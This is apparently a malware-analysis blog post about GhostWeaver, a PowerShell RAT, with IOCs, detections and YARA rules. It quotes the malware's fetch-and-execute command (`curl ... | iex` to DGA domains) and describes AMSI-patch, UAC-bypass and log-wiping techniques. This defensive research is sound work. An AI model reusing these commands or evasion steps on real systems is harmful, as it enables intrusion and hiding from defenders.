Skip to content
← All posts

GhostWeaver - a malware that lives up to its name

Kirk25 min read
ghostweaverpanteratag124powershellratfileless

GhostWeaver is a fileless PowerShell RAT that maintains command-and-control (C2) over GZip-compressed JSON inside TLS 1.0 connections on port 25658. AV vendors detect it as Pantera. TRAC Labs named it GhostWeaver in February 2025. Recorded Future identified it as the primary payload of TA582 -- a post-exploitation operator within the TAG-124 traffic distribution system (TDS) -- and notes that Mandiant tracks the operator as UNC4108. TA582 uses MintsLoader to score targets before delivering GhostWeaver to real machines and decoy payloads to sandboxes.

We recovered this implant from a compromised workstation that had been beaconing every three minutes for 13 months before discovery during routine triage. We deobfuscated the PowerShell source (855 strings across three obfuscation layers, all five known builds) and decoded the C2 wire protocol. We mapped four distinct domain generation algorithm (DGA) systems across the kill chain and connected to both live C2 servers. Each server accepted our beacon and pushed a 206KB persistence installer within 170 milliseconds -- byte-identical payloads from separate infrastructure. The payload decoded to a 58K PowerShell framework with four persistence modes, a CMSTPLUA UAC bypass, and PEB masquerade to explorer.exe.

Huntress documented over 10,000 compromised machines through the BOINC campaign alone. Coverage of the RAT itself is thin. Four DGA algorithms, four persistence modes with a UAC bypass, custom DNS resolver chains that bypass corporate filtering, AV-aware install logic -- and the persistence installer we captured from the live C2 scores 1/76 on VirusTotal. We don't think this is getting caught.

16 samples (11 PS1, 4 PE32, 1 JS) span May 2022 through March 2026 across four C2 clusters and 16 infrastructure nodes. As of March 8, 2026, two concurrent C2 nodes are actively deploying: 178.156.128.182 (v0.20 builds, Hetzner) and 86.107.101.93 (v0.23 builds, Redoubt Networks).

If you operate a threat intelligence platform with API access and can provide a researcher account, please reach out to kirk@derp.ca. Additional data sources directly increase the quality and coverage of the threat intel published here.


Sample overview

ComponentSHA256VTNotes
PS1 (our sample)2dd4dba195a2994751e11f855a1a4d9f6ca384867b8e5f62b0e692729603fe0522/76v0.23, Group 578, decoded
PS1 (RF-referenced)fb0238b388d9448a6b36aca4e6a9e4fbcbac3afc239cb70251778d40351b576527/76v0.20, Group 515, earliest PS1 (Feb 2024)
PS1 (DGA variant)a08eb452f289a6260786fe375cddb1bc009ac8556b7af6316ffc912c7dd318577/7710 extra reflection strings, DGA enhancement
PE32 (.NET)269f99b5e172a37074a8ad1c95b76b6066e01a03e507e580949c34633469e37e46/76MSIL, contacts 178.156.128.182 + 64.52.80.211
JS stager9076d50f2bbe05164da6ebf077f471de9ddc46afbfb2f819f550231d12489d204/76FakeUpdates.N, Cyrillic homoglyphs in filename
PE32 (2022)32879fb539171628354e59868de1c9dca363be9c1b5bb9ca3f915b9042bd506b47/76Pantera v.50 GUI wrapper, amatua.org C2
TLS cert (pinned)SHA256 aa9bc093018e55b23fbb4d9548c4140a3f59162a216ba2df6c82691533dcb435--CN=GeoTrust LTD., RSA 4096, self-signed

The earliest PE32 samples date to May 2022 -- GUI-wrapped executables that dropped PS1 payloads to %TEMP%. By February 2024, the builder had shifted to fileless PS1 delivery through TAG-124. Arcabit detection versions track four years of iteration: v.50 (PE32, 2022) through v.164 (fileless PS1, 2024) to Microsoft's latest signature Pantera.MV!MTB (2025). All PS1 builds share mutex euzizvuze, port 25658, and the same pinned TLS certificate. Two size classes exist: ~280-330 KB (standard) and ~610-630 KB (likely with embedded plugin configurations).

GhostWeaver is not commodity malware. It does not appear on underground forums, GitHub, Telegram, cracked tool repositories, or in the Ultimate RAT Collection (500+ builders). It has no MISP galaxy entry and no MalwareBazaar tags. One partial public analysis exists outside vendor reporting.


Kill chain

Compromised WordPress site (TA569 / ParrotTDS)
  +-- Injected JS: fake browser update prompt
       +-- ChrоmeUpdаteInstаller.js (Cyrillic homoglyphs in filename)
            +-- PowerShell via conhost --headless
                 |
                 +-- Stage 1: Window hider (P/Invoke ShowWindowAsync)
                 +-- Stage 1b: DGA1 delivery (a-z daily, generates {15chars}.top/1.php?s={campaign})
                 +-- Stage 2: DGA launcher (DGA3, generates 10 domains, tries /1.php?s=<campaign>)
                 +-- Stage 3: MintsLoader victim profiler
                      |-- AMSI bypass (patches AmsiOpenSession with 0x75)
                      |-- VM check (Get-MpComputerStatus IsVirtualMachine)
                      |-- GPU check (Win32_VideoController AdapterDACType)
                      |-- CPU cache check (Win32_CacheMemory purpose)
                      |-- Callback: POST http://{DGA4}/htr.php?id={hostname}&key={score}&s={campaign}
                      |
                      +-- [Low score = real machine] --> GhostWeaver via DGA2 on port 25658
                      +-- [High score = sandbox] --> Decoy (AsyncRAT from temp.sh) or 302 redirect
                           |
                           +-- GhostWeaver: TLS 1.0 + GZip-JSON
                                |-- ClientInfo beacon
                                |-- Server pushes persistence installer via iex
                                     |-- CMSTPLUA UAC bypass + PEB masquerade
                                     |-- Scheduled task: conhost --headless, every 3 min
                                     |-- 4 persistence modes (AV-aware selection)
                                     |-- DGA4 /ps callback for loader stub (Mode 2)

TA569 (ParrotTDS / SocGholish) handles initial access through compromised WordPress sites. TA582 operates everything downstream -- MintsLoader scoring, DGA infrastructure, GhostWeaver deployment, and persistence. The s= campaign ID in URLs routes victims to the appropriate payload. Recorded Future documents 35 campaign IDs across this ecosystem. Huntress documented the SocGholish-to-BOINC delivery chain in July 2024. MalasadaTech documented the TA569-to-TA582 handoff model in May 2025.


C2 protocol

GhostWeaver skips HTTP entirely. It communicates over raw TCP on port 25658, wrapped in TLS 1.0 -- a protocol version deprecated since 2020. The wire format is a 4-byte little-endian length header followed by GZip-compressed JSON:

[4 bytes LE int32: payload length] [GZip(JSON payload)]

TLS configuration

  • TLS 1.0 only -- the server does not support 1.1, 1.2, or 1.3 (confirmed via nmap ssl-enum-ciphers and successful probe)
  • SNI is set to the IP address, not a domain name (.NET RemoteEndPoint.ToString().Split(':')[0])
  • Five cipher suites: ECDHE_RSA_AES_256_CBC_SHA, ECDHE_RSA_AES_128_CBC_SHA, RSA_AES_256_CBC_SHA, RSA_AES_128_CBC_SHA, RSA_3DES_EDE_CBC_SHA
  • Self-signed certificate: CN=GeoTrust LTD., RSA 4096, SHA-512 signature, valid 2023-12-04 to 9999-12-31
  • Client validates the server certificate against a pinned cert embedded in the PS1 source via X509Certificate2.Equals()

Beacon (ClientInfo)

The RAT sends a ClientInfo packet immediately after TLS handshake. Two build versions exist with slightly different field sets:

Fieldv0.20v0.23
Packet"ClientInfo""ClientInfo"
ipExternal IP via api.ipify.orgSame
HWIDHardware IDSame
guid--Present
User$env:COMPUTERNAMESame
OSWindows version stringSame
AntivirusWMI SecurityCenter2 querySame
Version"0.20""0.23"
AdminWindowsBuiltInRole checkSame
PerformanceWin32_ComputerSystem.DomainSame
Group"515""578"

v0.20 omits the guid field entirely. Both live C2 nodes accept their respective build versions without challenge-response, version validation, or group checks.

Keepalive

The client sends {"Packet":"Ping","Message":"Ping"} periodically. The server responds with {"Packet":"pong"} every ~15 seconds. The server initiates keepalives independently -- the pong packet name is not the build-specific ping command name.

Command dispatch

CommandAction
eftvcxq (v0.23) / hcqikymtuevs (v0.20)Ping -- echo counter
iexGZip + base64 .script field → Invoke-Expression → return result
cmdSystem command via .cmd + .args fields
pluginVerify DLL hash (.Msgpack field) → respond with sendPlugin
savePluginReceive and load DLL via Assembly.Load (reflection, fileless)
selfdeleteWipe $PWD and exit

The ping command name is randomized per build -- eftvcxq for v0.23, hcqikymtuevs for v0.20. All other command names are consistent across builds.

Plugin system

Plugins are .NET DLLs loaded reflectively via Assembly.Load -- no disk artifacts. TRAC Labs reports they are obfuscated with Confuser.Core 1.6. Known plugins include a formgrabber (web injection, JA3 fingerprint modification, MITM proxy), browser credential theft (Brave, Chrome, Firefox, Edge), Outlook data theft, and cryptocurrency wallet theft. GhostWeaver can also redeploy MintsLoader back to the victim via sendPlugin -- a bidirectional relationship between the loader and the RAT.

The Msgpack string in the source is a field name in the plugin verification packet, not the serialization format. The actual protocol is GZip-compressed JSON throughout. Unlike typical sleep-loop RATs, GhostWeaver uses an event-driven architecture -- a CallbackEventBridge singleton bridges .NET AsyncCallback and TimerCallback to PowerShell events via Register-ObjectEvent, giving it proper async I/O for C2 communication and timer-based beaconing.


Deobfuscation

The PS1 source is a single line of 280-630 KB using arithmetic char encoding. Every string is constructed from math expressions: @((8306-8191),(7691-7583),...) -join '' where each sub-expression evaluates to a character code. No [char] casts, no base64 -- pure arithmetic in nested parentheses.

We wrote a three-pass Python deobfuscator:

  1. Pass 1: Resolve arithmetic character arrays -- evaluate each (expr) group and join to plaintext strings. Handles nested parentheses and multi-element arrays.
  2. Pass 2: Decode string state class -- the PS1 declares a helper class with static methods that perform the same char-array decoding. Replace all calls to the helper class with their decoded output.
  3. Pass 3: Resolve helper class method calls -- iteratively decode inside-out for nested invocations. All method names ('new', 'ne', 'getcallback') perform the same operation.

Results across all five decoded builds:

BuildSHA256 (short)Helper ClassDecoded SizeStrings
12dbcf61v0.20, Group 515efhniujbapg103K840
1a0abc02v0.23, Group 578ayjcfuzvdmex32K865
253cfd71v0.23, Group 527uhcoqdgmkip101K859
2dd4dba1v0.23, Group 578xvqjeckumdt66K855
a08eb452v0.23, Group 578jeouskzh81K886

The obfuscated variable names (49 random lowercase alpha strings per build) are regenerated by the builder for each stub. Core functionality strings are identical across all builds. The builder also generates a unique 15-character mixed-case alphanumeric encryption key per build.

Extracted config (consistent across all samples):

ConstantValue
Port25658
Mutexeuzizvuze
DGA TLDs.top, .fun, .com, .xyz, .cn
Cert thumbprint (SHA1)006f5bb92720aca33aab33505e17c42cc2f9f236
DNS resolvers216.218.130.2, 74.82.42.42, 208.67.222.222, 76.76.2.5, 1.1.1.1

Per-build values:

BuildVersionGroupEncryption KeyDGA2 MultiplierPing Command
12dbcf610.20515--854374hcqikymtuevs
fb0238b30.20515--854374hcqikymtuevs
1a0abc020.23578lt3gjhfJCZFDbpv348374eftvcxq
253cfd710.23527hblIGD1E2roFVMR348374eftvcxq
2dd4dba10.23578qLPJKNSvrfyXgGV348374eftvcxq
a08eb4520.235781miI4gOrEJ2TBSt348374eftvcxq

Each build carries an identifier in $global:keystr: streams\{campaign}\stub\{build_number} -- the streams\ prefix suggests .NET resource stream packaging, and the stub number is unique per compiled payload.

The builds split into two version families: v0.20 (multiplier 854374, no guid in beacon) and v0.23 (multiplier 348374, guid present). Each multiplier generates a completely different domain sequence. The operator registers domains from both multipliers -- v0.20 domains resolve to Cluster 3 (Hetzner) and v0.23 domains resolve to Cluster 1 (Redoubt Networks). Both C2 nodes are active concurrently, serving identical persistence payloads to their respective build populations.


DGA system

Four distinct DGA algorithms operate across different stages of the kill chain. All share 15-character domain lengths, System.Random as the PRNG, and .top as the primary TLD.

#StageCharsetSizeSeed StructureTLDsRotation
1MintsLoader deliverya-z26yyyyMMdd + offset.topDaily
2GhostWeaver C2a-z0-936round(DayOfYear / 7) + 1 + Year * multiplier.top .fun .com .xyz .cnWeekly
3TDS stage-2 launchera-z0-936round((DayOfYear + 3) / 7 + 2024) * multiplier.topWeekly
4Scoring callback / persistencea-n14Per-deployment (various formulas).topVaries

The PRNG is .NET System.Random -- a subtractive generator (Knuth's algorithm). PowerShell [int] casts use banker's rounding (round half to even), which matters at weekly rotation boundaries. All multiplier and addend values are per-build or per-deployment constants baked into the obfuscated arithmetic.

DGA1 (MintsLoader delivery) generates the initial loader domains. The seed is the current date as yyyyMMdd plus a per-deployment offset, producing one domain per day with a-z only charset. This is the first network callback after the JS stager executes -- it fetches the next stage via curl -useb "{domain}.top/1.php?s={campaign}" | iex.

DGA2 (GhostWeaver C2) generates one base domain per week, tried against five TLDs in sequence until one resolves. The operator typically registers .top or .fun. Custom DNS resolvers (Hurricane Electric, OpenDNS, Control D, Cloudflare) bypass local DNS filtering.

DGA2 seed formula:

seed = [int](DayOfYear / 7 + 1 + Year * 854374)    # v0.20 (Cluster 3)
seed = [int](DayOfYear / 7 + 1 + Year * 348374)    # v0.23 (Cluster 1)
domain = 15 chars from "abcdefghijklmnopqrstuvwxyz0123456789" via Random.Next(0, 36)

Validated against five known domain-date pairs from Triage sandbox executions spanning Feb 2024 through Mar 2026. As of March 8, 2026: v0.20 domains q632gmdjjxpjsqp.fun (days 60-66) and 9hsawit1nbfbg9e.top (day 67+) both resolve to 178.156.128.182, and v0.23 domain v5fcvlydx1cjsgf.top resolves to 86.107.101.93. The operator keeps both domains live during weekly rotation transitions.

DGA4 (persistence callback) uses a restricted charset of only 14 characters (a through n) and varies its seed formula per deployment. The persistence installer captured from the live C2 uses multiplier 216162 with a weekly seed. Other deployments observed on urlscan use different constants entirely -- brute-forcing all 2^31 seeds against four known DGA4 domains confirmed no common seed structure.

Over 200 DGA domains (DGA1 through DGA4 combined) have been observed across all four C2 clusters since the DGA system activated in February 2024.


Live C2 probe

With the DGA decoded and the current week's domains resolving, we had live targets and a complete protocol specification.

On March 8, 2026, we connected to both active C2 nodes using a Python TLS 1.0 client:

v0.20 probe (178.156.128.182:25658): The server accepted the connection immediately. Within 170 milliseconds of receiving our ClientInfo packet, it sent back an iex command containing a 206KB base64 payload. The server performed no challenge-response, version validation, or group check -- it pushed the persistence installer to every client that completes the TLS handshake and sends a well-formed beacon.

v0.23 probe (86.107.101.93:25658): Identical behavior. The server accepted our v0.23 beacon (with guid field, Group 578, ping command eftvcxq) and pushed the same 206KB persistence installer. The payload was byte-identical to the v0.20 capture -- both C2 nodes share a single backend despite separate DGA2 multipliers and hosting infrastructure.

The payload decoded through two layers (base64 → UTF-16 LE base64) to a 58K PowerShell persistence framework -- 1,490 lines and 17 functions. The decoded installer (e354c5e4db754a83d4e81aa8777d5685c8451ac0eea1120783f0be024f656e61) scores 1/76 on VirusTotal and 9/10 on Triage -- behavioural detection catches it, but static signatures do not.

After delivering the persistence installer, both servers continued sending {"Packet":"pong"} keepalives every 15 seconds. No further commands were pushed during the observation windows.


Persistence installer

The 58K PS1 pushed by the C2 implements four persistence modes. The installer selects one at random unless it detects specific AV products, in which case it forces a specific mode. Norton forces Mode 1 (plaintext). Webroot forces Mode 2 (DPAPI + DGA callback).

UAC bypass

Before creating the scheduled task, the installer elevates privileges through a CMSTPLUA COM object bypass:

  1. PEB masquerade: Overwrites the current process's PEB fields via VirtualProtectEx and WriteProcessMemory to impersonate C:\Windows\explorer.exe. This makes the process appear to be Explorer to COM security checks.
  2. COM elevation: Calls CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}") to instantiate an elevated CMSTPLUA COM object.
  3. Task Scheduler access: Uses ServerCreateElevatedObject({0f87369f-a4e5-4cfc-bd3e-73e6154572dd}) to get an elevated ITaskService interface.

Scheduled task

The installer creates a hidden task that:

  • Runs every 3 minutes
  • Uses a name chosen from a list of real PowerShell function names (e.g., Start-AutologgerConfig)
  • Executes conhost --headless powershell with an obfuscated Invoke-Expression command
  • Reads the payload from a .log file in %LOCALAPPDATA%\Microsoft\{random_subfolder}\{funcName}.log

The installer also disables the Task Scheduler operational event log (IsEnabled=False), wiping all records. Scheduling activity leaves no trace in standard Windows forensics.

Four persistence modes

ModeOn-Disk FormatLoader MechanismAV Override
1 "Regular"Plaintext .logObfuscated Get-Content + Invoke-ExpressionNorton
2 "Protected"DPAPI-encrypted .logDGA4 callback (POST /ps) for custom loader stubWebroot
3 "Type protected"DPAPI-encrypted .logHardcoded DPAPI decrypt stub + .jpg trampoline--
4 "ECHO protected"DPAPI-encrypted .logHardcoded DPAPI decrypt stub via clipboard chain--

Modes 2-4 encrypt the payload with DPAPI (ConvertFrom-SecureString), binding it to the current user's credentials. Mode 2 contacts a DGA4 domain (POST http://{domain}/ps with botid={COMPUTERNAME}&path={path}) to retrieve a custom decryption stub -- this endpoint requires an active C2 session and returns empty replies to direct probes. Modes 3 and 4 include hardcoded DPAPI decryption stubs that work without network access.

File layout: %LOCALAPPDATA%\Microsoft\{random_writable_subfolder}\{funcName}.log for the payload. Loader stubs are written as Azure{funcName}.ps1, .log, or .jpg depending on the mode.

Each installation generates unique string encodings via a newstringobfuscator function -- polymorphic obfuscation at install time. After writing files and registering the scheduled task, the installer kills the current GhostWeaver process and relies on the scheduled task to restart it within 3 minutes. For a different approach to AV-aware persistence, see our Remcos AutoIt analysis.


MintsLoader scoring

Before delivering GhostWeaver, MintsLoader profiles the target to distinguish real machines from sandboxes. Three checks produce a cumulative score sent to the C2 as the key parameter. The C2 delivers payloads only to low scores.

CheckMethodReal MachineSandbox
1. VM detectionGet-MpComputerStatusIsVirtualMachinefalse: +6.7Btrue: +52.1B / null: +59.9B
2. GPU typeWin32_VideoControllerAdapterDACTypeDiscrete (NVIDIA/AMD): +0"Internal"/"Integrated": +8.8B, "VMware"/"Bochs": +74.9B
3. CPU cachesWin32_CacheMemorypurpose4+ cache levels: +276M≤3 levels: +32.3B, L1 only: +89.2B
Base--+246M+246M

A real machine with a discrete GPU and normal cache hierarchy scores approximately 7.2 billion. A Triage sandbox VM scores approximately 160 billion -- 22x higher. We confirmed sandbox detection by submitting TDS URLs to Triage: the TDS connected but withheld the payload (Triage score 4 -- network contact only, no malware delivered).

Recorded Future independently documented this scoring system and confirmed that the constant values change with each deployment. Our values come from the bnbfyw1.top DOM capture (campaign s=63e95be1). RF's values for the same checks differ, confirming per-sample variation in the arithmetic constants while the algorithm structure remains identical.

The scoring callback URL follows this pattern:

http://{DGA4_domain}/{random10}htr{random5}.php?id={COMPUTERNAME}&key={SCORE}&s={CAMPAIGN_UUID}

The htr infix is hardcoded across all observed deployments, making *htr*.php?id=*&key=*&s=* a reliable network detection signature. Victim callbacks are visible on urlscan.io -- DC01 (a Windows domain controller) appeared in December 2025, confirming enterprise targeting.


TAG-124 delivery chain

TAG-124 is a traffic distribution system built on compromised WordPress sites, actor-controlled payload servers, and a central routing layer. It filters visitors based on context from the upstream redirect chain -- geolocation, device type, referrer state -- and routes qualifying targets to malware delivery pages. Recorded Future documents it as shared infrastructure serving multiple threat actors: Rhysida and Interlock ransomware operators, TA866/Asylum Ambuscade, SocGholish, D3F@ck Loader, and TA582. The system has two operators in sequence. TA569 compromises WordPress sites and injects ParrotTDS JavaScript that serves fake browser update prompts. TA582 operates everything downstream -- MintsLoader scoring, DGA infrastructure, and payload deployment. Mandiant tracks TA582's operator as UNC4108.

The complete delivery chain was recovered from a urlscan DOM capture of bnbfyw1.top/1.php?s=63e95be1. The TDS served a single PowerShell response containing three stages:

Stage 1 -- Window hider: P/Invoke to user32.dll ShowWindowAsync to hide the PowerShell window.

Stage 2 -- DGA launcher: Base64-encoded child process that generates 10 DGA3 domains per weekly rotation period. Each domain is tried with curl -useb "$domain/1.php?s={campaign}" | iex.

Stage 3 -- MintsLoader profiler: Arithmetic-obfuscated payload (XOR key: 3rpbtcehzgnv). Implements Antimalware Scan Interface (AMSI) bypass by patching AmsiOpenSession in amsi.dll with byte 0x75 (JNE short jump) via VirtualProtectEx. Then runs the three-check scoring system described above.

All three stages are delivered in a single HTTP response from the TDS server. The TDS itself requires specific context from the upstream WordPress redirect chain -- direct requests, Tor exit nodes, scanner IPs, and sandbox VMs all receive empty responses or timeouts. The filtering operates at the application layer, not by IP reputation. A residential IP receives the same empty response as a known scanner.

254 urlscan submissions hit 1.php?s= endpoints over the past year across 37 TDS domains and 35 campaign IDs. Campaign ID formats range from UUIDs (s=63e95be1-92e0-...) to named campaigns (s=527, s=boicn, s=flibabc13, s=mints11).


Infrastructure

GhostWeaver C2 infrastructure spans four hosting providers with 16 nodes:

ClusterProviderASNNodesSamplesDGA DomainsStatus
1Redoubt Networks (servers.guru)AS4003045482Active (86.107.101.93, probed)
2BL Networks (BLNWX)AS399629270Active (most samples contact this cluster)
3Hetzner Online GmbHAS213230 + AS2494057+104+Active (178.156.128.182, probed)
4Gwy It Pty LtdAS199959420Active (BOINC C2 + Zimbra mail)

Cluster breakdown

Cluster 1 uses servers.guru, an anonymous VPS provider accepting cryptocurrency. Four backup nodes (spo1-4.servers.guru) have zero VT detections -- clean failover infrastructure. 82 DGA domains resolved to the primary IP 86.107.101.93 between January 2025 and March 2026. We probed this node on March 8, 2026 -- it serves the same persistence installer as Cluster 3, confirming a shared backend.

Cluster 2 (BL Networks / BLNWX) is the most-contacted cluster by sample count -- 7 of 10 known PS1 samples communicate with 64.52.80.211. BLNWX is a bulletproof hosting provider serving dozens of unrelated threat actors. A Censys certificate and service survey of AS399629 (March 2026) found 17 distinct malware families on the same network. TA582 correlation is at the domain and campaign level, not IP proximity.

Cluster 3 (Hetzner) includes the currently active node 178.156.128.182 and four decommissioned nodes where DGA domains no longer resolve. Two decommissioned nodes (5.161.229.58, 5.161.214.209) have been recycled to unrelated legitimate tenants.

Cluster 4 (Gwy It) hosts the fake BOINC infrastructure (rosettahome.top/.cn), which peaked at 10,000+ compromised clients in July 2024, and a Zimbra mail server (email.zimbraservices.net).

The operator uses NICENIC (a Chinese registrar) with Hurricane Electric nameservers for all DGA domains. This creates a consistent registration fingerprint. A name hash (1f8f4166599d23ee) and email hash (f651612a...) are consistent across NICENIC, Cosmotown, and Sarek Oy registrations over four years (2022-2026). This links the 2022 amatua.org infrastructure to the current DGA campaign.

Confirmed TA582 payloads sharing this infrastructure: GhostWeaver/Pantera, MintsLoader, trojanized BOINC, CleanUpLoader, and StealC (per Recorded Future).


Why DNS filtering failed

GhostWeaver hardcodes five public DNS resolvers -- Hurricane Electric, OpenDNS, Control D, and Cloudflare -- and queries them directly, bypassing whatever DNS infrastructure the local network provides. Corporate DNS filtering, sinkholing, and response policy zones never see the DGA domain requests. The C2 connection itself runs on port 25658 over TLS 1.0 -- a non-standard port carrying encrypted traffic that most egress rules pass without inspection.

Zero trust connectivity inverts this. If outbound connections are blocked unless first verified through approved DNS and explicitly permitted by policy, the custom resolver queries fail at the IP level and the raw TCP connection to port 25658 is never established -- regardless of whether the DGA domain is in a blocklist. The dwell time here was not a detection failure. The beacons were there. It was a policy failure: the network allowed outbound connections it had no reason to trust.

For more on zero trust connectivity, see ADAMnetworks.


IOC summary

Network

IPASNClusterRole
86.107.101.93AS400304 Redoubt1Active C2 (probed 2026-03-08), 82 DGA domains
178.156.128.182AS213230 Hetzner3Active C2 (probed 2026-03-08)
64.52.80.211AS399629 BLNWX2Most-contacted C2 (7/10 PS1)
64.7.199.144AS399629 BLNWX2Early rosettahome.top host
5.161.113.150AS213230 Hetzner3Earliest DGA node (Feb 2024)
5.161.229.58AS213230 Hetzner3DGA node Jul 2024-Feb 2025 (decommissioned)
5.161.214.209AS213230 Hetzner3DGA node Apr-Jul 2024 (decommissioned)
157.180.9.209AS24940 Hetzner337 DGA domains, Mar-Jan 2026
104.238.34.204AS199959 Gwy It4rosettahome.top BOINC C2
104.238.61.8AS199959 Gwy It4rosettahome.top/.cn
104.200.73.68AS199959 Gwy It4rosettahome.cn, zimbraservices.net
192.169.6.190AS199959 Gwy It4email.zimbraservices.net (dedicated Zimbra, migrated 2025-09)

Backup C2 nodes (Cluster 1)

IPHostname
167.17.76.31spo1.servers.guru
66.23.193.124spo2.servers.guru
167.17.76.102spo3.servers.guru
64.49.13.171spo4.servers.guru

TLS certificate (pinned, embedded in all PS1 builds)

FieldValue
SubjectCN=GeoTrust LTD. (self-signed)
Serial824756402884692834048618218096390249
Valid2023-12-04 to 9999-12-31
KeyRSA 4096
SHA256aa9bc093018e55b23fbb4d9548c4140a3f59162a216ba2df6c82691533dcb435
SHA1006f5bb92720aca33aab33505e17c42cc2f9f236

Custom DNS resolvers (hardcoded, bypass local filtering)

216.218.130.2 (Hurricane Electric), 74.82.42.42 (HE), 208.67.222.222 (OpenDNS), 76.76.2.5 (Control D), 1.1.1.1 (Cloudflare)

Operator domains

DomainRoleStatus
rosettahome.topFake BOINC C2Active
rosettahome.cnFake BOINC C2Suspended (serverHold)
happychristmas.clickPre-DGA C2Parked
amatua.org2022 C2 (Viettel hosting)Suspended

Selected DGA domains (200+ total across all clusters)

DomainDGAIPFirst Seen
q632gmdjjxpjsqp.funDGA2 (v0.20)178.156.128.1822026-03-04
9hsawit1nbfbg9e.topDGA2 (v0.20)178.156.128.1822026-03-08
v5fcvlydx1cjsgf.topDGA2 (v0.23)86.107.101.932026-03-08
cup4fqhvsolr3xq.topDGA2 (v0.23)86.107.101.932026-03-02
ga1yo3wu78v48hh.topDGA25.161.214.2092024-07-12
0f2onmxtqv5ih2h.topDGA25.161.113.1502024-02-22

Detection signatures

VendorSignature
Arcabit / BitDefenderCMD:Heur.BZC.PZQ.Pantera.164.*
ESETPowerShell/Agent.BLU
KasperskyHEUR:Trojan.PowerShell.Obfus.gen
LionicTrojan.Script.Pantera.4!c
Avast / AVGPwrSh:Agent-AX [Rat]
MicrosoftTrojan:PowerShell/Pantera.MV!MTB

Host indicators

IndicatorValue
Registry markerHKCU:\Software\Microsoft\ExpirienceHost = 1 (note misspelling of "Experience")
Scheduled task patternconhost --headless powershell -ep bypass Azure{FunctionName}
Payload location%LOCALAPPDATA%\Microsoft\{subfolder}\{FunctionName}.log
Mutexeuzizvuze

Hashes (PS1 samples)

C2-delivered payloads

SHA256DescriptionVT
e354c5e4db754a83d4e81aa8777d5685c8451ac0eea1120783f0be024f656e61Persistence installer (decoded PS1, 58K)1/76
3b868b5ac32114ebd3e995a3adb6d6fbbb91440820cf921f73afd41e11249456Persistence installer (raw base64 blob, 206K)7/76

MITRE ATT&CK

IDTechnique
T1189Drive-by Compromise (SocGholish fake update)
T1059.001PowerShell
T1059.005Visual Basic (JScript stager)
T1027Obfuscated Files or Information (arithmetic char encoding)
T1140Deobfuscate/Decode Files or Information
T1568.002Dynamic Resolution: Domain Generation Algorithms
T1573.002Encrypted Channel: Asymmetric Cryptography (TLS)
T1071Application Layer Protocol (GZip-JSON over TLS)
T1095Non-Application Layer Protocol (raw TCP port 25658)
T1053.005Scheduled Task/Job
T1548.002Abuse Elevation Control Mechanism: Bypass UAC (CMSTPLUA)
T1055Process Injection (PEB masquerade via WriteProcessMemory)
T1497.001Virtualization/Sandbox Evasion: System Checks
T1082System Information Discovery
T1016System Network Configuration Discovery
T1033System Owner/User Discovery
T1518.001Security Software Discovery
T1105Ingress Tool Transfer (plugin delivery)
T1620Reflective Code Loading (Assembly.Load)

YARA rules

We published seven YARA rules covering the full TAG-124 → GhostWeaver kill chain. The rules are available on GitHub:

kirkderp/yara

RuleTarget
GhostWeaver_PS1_ObfuscatedBuilder output -- arithmetic char encoding, builder stamp
GhostWeaver_PS1_DecodedDecoded RAT -- protocol stack, command dispatch, mutex, DGA
GhostWeaver_Persistence_InstallerC2-delivered installer -- CMSTPLUA, PEB masquerade, headless schtask
GhostWeaver_TLS_CertificatePinned self-signed cert (CN=GeoTrust LTD.)
GhostWeaver_Network_IndicatorsC2 JSON traffic patterns
MintsLoader_Victim_ProfilerSandbox scoring, AMSI bypass, DGA4 callback
MintsLoader_JS_DropperXOR-obfuscated JScript stager

Rules follow the CCCS YARA metadata standard.


Both C2 nodes (178.156.128.182 and 86.107.101.93) are actively deploying as of March 8, 2026. The TAG-124 TDS ecosystem continues to register new delivery domains.

See also: Violet RAT analysis, Remcos AutoIt persistence.

K

Kirk

I like the internet. Want to get in touch? kirk@derp.ca · GitHub · @KirkDerpca